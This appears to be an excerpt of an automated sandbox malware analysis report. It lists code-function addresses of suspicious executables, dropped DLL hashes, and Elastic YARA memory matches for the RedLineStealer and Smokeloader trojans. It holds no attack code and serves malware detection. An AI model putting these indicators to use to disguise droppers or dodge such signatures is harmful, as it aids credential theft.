Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E589BF 25_2_00E589BF
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E56A74 25_2_00E56A74
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00EA0A3A 25_2_00EA0A3A
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E30BE0 25_2_00E30BE0
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E7EDB2 25_2_00E7EDB2
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4CD51 25_2_00E4CD51
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00EA0EB7 25_2_00EA0EB7
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E88E44 25_2_00E88E44
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E56FE6 25_2_00E56FE6
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E433B7 25_2_00E433B7
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E3D45D 25_2_00E3D45D
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4F409 25_2_00E4F409
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E2F6A0 25_2_00E2F6A0
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E416B4 25_2_00E416B4
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E21663 25_2_00E21663
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E3F628 25_2_00E3F628
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E478C3 25_2_00E478C3
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4DBA5 25_2_00E4DBA5
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E41BA8 25_2_00E41BA8
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E59CE5 25_2_00E59CE5
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E3DD28 25_2_00E3DD28
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E41FC0 25_2_00E41FC0
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4BFD6 25_2_00E4BFD6
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Code function: 26_2_0301A700 26_2_0301A700
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8335A0 29_2_6C8335A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C846C80 29_2_6C846C80
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8934A0 29_2_6C8934A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C89C4A0 29_2_6C89C4A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8464C0 29_2_6C8464C0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C85D4D0 29_2_6C85D4D0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83D4E0 29_2_6C83D4E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C876CF0 29_2_6C876CF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8AAC00 29_2_6C8AAC00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C875C10 29_2_6C875C10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C882C10 29_2_6C882C10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A542B 29_2_6C8A542B
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C845440 29_2_6C845440
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A545C 29_2_6C8A545C
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C870DD0 29_2_6C870DD0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8985F0 29_2_6C8985F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C84FD00 29_2_6C84FD00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C860512 29_2_6C860512
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C85ED10 29_2_6C85ED10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C89E680 29_2_6C89E680
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C855E90 29_2_6C855E90
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C894EA0 29_2_6C894EA0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A76E3 29_2_6C8A76E3
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83BEF0 29_2_6C83BEF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C84FEF0 29_2_6C84FEF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C885600 29_2_6C885600
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C877E10 29_2_6C877E10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C899E30 29_2_6C899E30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C854640 29_2_6C854640
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C882E4E 29_2_6C882E4E
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C859E50 29_2_6C859E50
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C873E50 29_2_6C873E50
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A6E63 29_2_6C8A6E63
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83C670 29_2_6C83C670
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8877A0 29_2_6C8877A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83DFE0 29_2_6C83DFE0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C866FF0 29_2_6C866FF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C849F00 29_2_6C849F00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C877710 29_2_6C877710
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8660A0 29_2_6C8660A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A50C7 29_2_6C8A50C7
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C85C0E0 29_2_6C85C0E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8758E0 29_2_6C8758E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C847810 29_2_6C847810
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C87B820 29_2_6C87B820
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C884820 29_2_6C884820
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C858850 29_2_6C858850
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C85D850 29_2_6C85D850
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C87F070 29_2_6C87F070
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C875190 29_2_6C875190
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C892990 29_2_6C892990
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83C9A0 29_2_6C83C9A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C86D9B0 29_2_6C86D9B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C85A940 29_2_6C85A940
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C84D960 29_2_6C84D960
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C88B970 29_2_6C88B970
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8AB170 29_2_6C8AB170
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8ABA90 29_2_6C8ABA90
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8322A0 29_2_6C8322A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C864AA0 29_2_6C864AA0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C84CAB0 29_2_6C84CAB0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A2AB0 29_2_6C8A2AB0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C878AC0 29_2_6C878AC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C851AF0 29_2_6C851AF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C87E2F0 29_2_6C87E2F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C879A60 29_2_6C879A60
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83F380 29_2_6C83F380
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8A53C8 29_2_6C8A53C8
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C87D320 29_2_6C87D320
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C835340 29_2_6C835340
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C84C370 29_2_6C84C370
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C93ECD0 29_2_6C93ECD0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8DECC0 29_2_6C8DECC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9A6C00 29_2_6C9A6C00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9BAC30 29_2_6C9BAC30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8EAC60 29_2_6C8EAC60
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C976D90 29_2_6C976D90
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E4DB0 29_2_6C8E4DB0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA6CDC0 29_2_6CA6CDC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA68D20 29_2_6CA68D20
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9AED70 29_2_6C9AED70
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA0AD50 29_2_6CA0AD50
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C966E90 29_2_6C966E90
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8EAEC0 29_2_6C8EAEC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C980EC0 29_2_6C980EC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9C0E20 29_2_6C9C0E20
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C97EE70 29_2_6C97EE70
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA28FB0 29_2_6CA28FB0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8EEFB0 29_2_6C8EEFB0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9BEFF0 29_2_6C9BEFF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E0FE0 29_2_6C8E0FE0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA20F20 29_2_6CA20F20
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E6F10 29_2_6C8E6F10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C94EF40 29_2_6C94EF40
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9A2F70 29_2_6C9A2F70
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9E68E0 29_2_6C9E68E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C930820 29_2_6C930820
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C96A820 29_2_6C96A820
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9B4840 29_2_6C9B4840
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9A09B0 29_2_6C9A09B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9709A0 29_2_6C9709A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C99A9A0 29_2_6C99A9A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9149F0 29_2_6C9149F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9FC9E0 29_2_6C9FC9E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C936900 29_2_6C936900
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C918960 29_2_6C918960
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C95EA80 29_2_6C95EA80
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C98EA00 29_2_6C98EA00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C998A30 29_2_6C998A30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C95CA70 29_2_6C95CA70
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C980BA0 29_2_6C980BA0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9E6BE0 29_2_6C9E6BE0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA0A480 29_2_6CA0A480
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9264D0 29_2_6C9264D0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C97A4D0 29_2_6C97A4D0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C96A430 29_2_6C96A430
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C944420 29_2_6C944420
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8F8460 29_2_6C8F8460
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8D45B0 29_2_6C8D45B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C96E5F0 29_2_6C96E5F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9AA5E0 29_2_6C9AA5E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C938540 29_2_6C938540
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9E4540 29_2_6C9E4540
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C980570 29_2_6C980570
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA28550 29_2_6CA28550
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C942560 29_2_6C942560
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9046D0 29_2_6C9046D0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C93E6E0 29_2_6C93E6E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C97E6E0 29_2_6C97E6E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C93C650 29_2_6C93C650
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C90A7D0 29_2_6C90A7D0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C960700 29_2_6C960700
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8D8090 29_2_6C8D8090
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9BC0B0 29_2_6C9BC0B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8F00B0 29_2_6C8F00B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9A8010 29_2_6C9A8010
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9AC000 29_2_6C9AC000
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C92E070 29_2_6C92E070
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E01E0 29_2_6C8E01E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C956130 29_2_6C956130
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9C4130 29_2_6C9C4130
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C948140 29_2_6C948140
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9AE2B0 29_2_6C9AE2B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9B22A0 29_2_6C9B22A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA662C0 29_2_6CA662C0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9AA210 29_2_6C9AA210
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9B8220 29_2_6C9B8220
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C978250 29_2_6C978250
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C968260 29_2_6C968260
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C93E3B0 29_2_6C93E3B0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9123A0 29_2_6C9123A0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9343E0 29_2_6C9343E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C952320 29_2_6C952320
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E8340 29_2_6C8E8340
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA22370 29_2_6CA22370
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C976370 29_2_6C976370
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E2370 29_2_6C8E2370
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9FC360 29_2_6C9FC360
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C97FC80 29_2_6C97FC80
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA1DCD0 29_2_6CA1DCD0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9A1CE0 29_2_6C9A1CE0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8F1C30 29_2_6C8F1C30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8E3C40 29_2_6C8E3C40
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA09C40 29_2_6CA09C40
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8D3D80 29_2_6C8D3D80
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA29D90 29_2_6CA29D90
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9B1DC0 29_2_6C9B1DC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C943D00 29_2_6C943D00
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C903EC0 29_2_6C903EC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9EDE10 29_2_6C9EDE10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA65E60 29_2_6CA65E60
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA3BE70 29_2_6CA3BE70
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C901F90 29_2_6C901F90
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9FDFC0 29_2_6C9FDFC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA63FC0 29_2_6CA63FC0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C98BFF0 29_2_6C98BFF0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA37F20 29_2_6CA37F20
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C915F20 29_2_6C915F20
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8D5F30 29_2_6C8D5F30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA3B8F0 29_2_6CA3B8F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C97F8C0 29_2_6C97F8C0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9BF8F0 29_2_6C9BF8F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C8ED8E0 29_2_6C8ED8E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C9138E0 29_2_6C9138E0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C93D810 29_2_6C93D810
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6CA19F30 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6C8794D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6C903620 appears 74 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6C86CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6C909B10 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6CA609D0 appears 270 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6C93C5E0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6CA6DAE0 appears 62 times
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: String function: 6CA6D930 appears 50 times
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: String function: 00E31A36 appears 34 times
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: String function: 00E40D17 appears 70 times
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: String function: 00E48B30 appears 42 times
Uses 32bit PE files
Source: h8jGj6Qe78.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000003.00000002.1937968230.0000000000848000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1937857892.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1712342116.000000000088A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1937904210.00000000007B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1712173193.0000000000840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1712546480.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1712222757.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
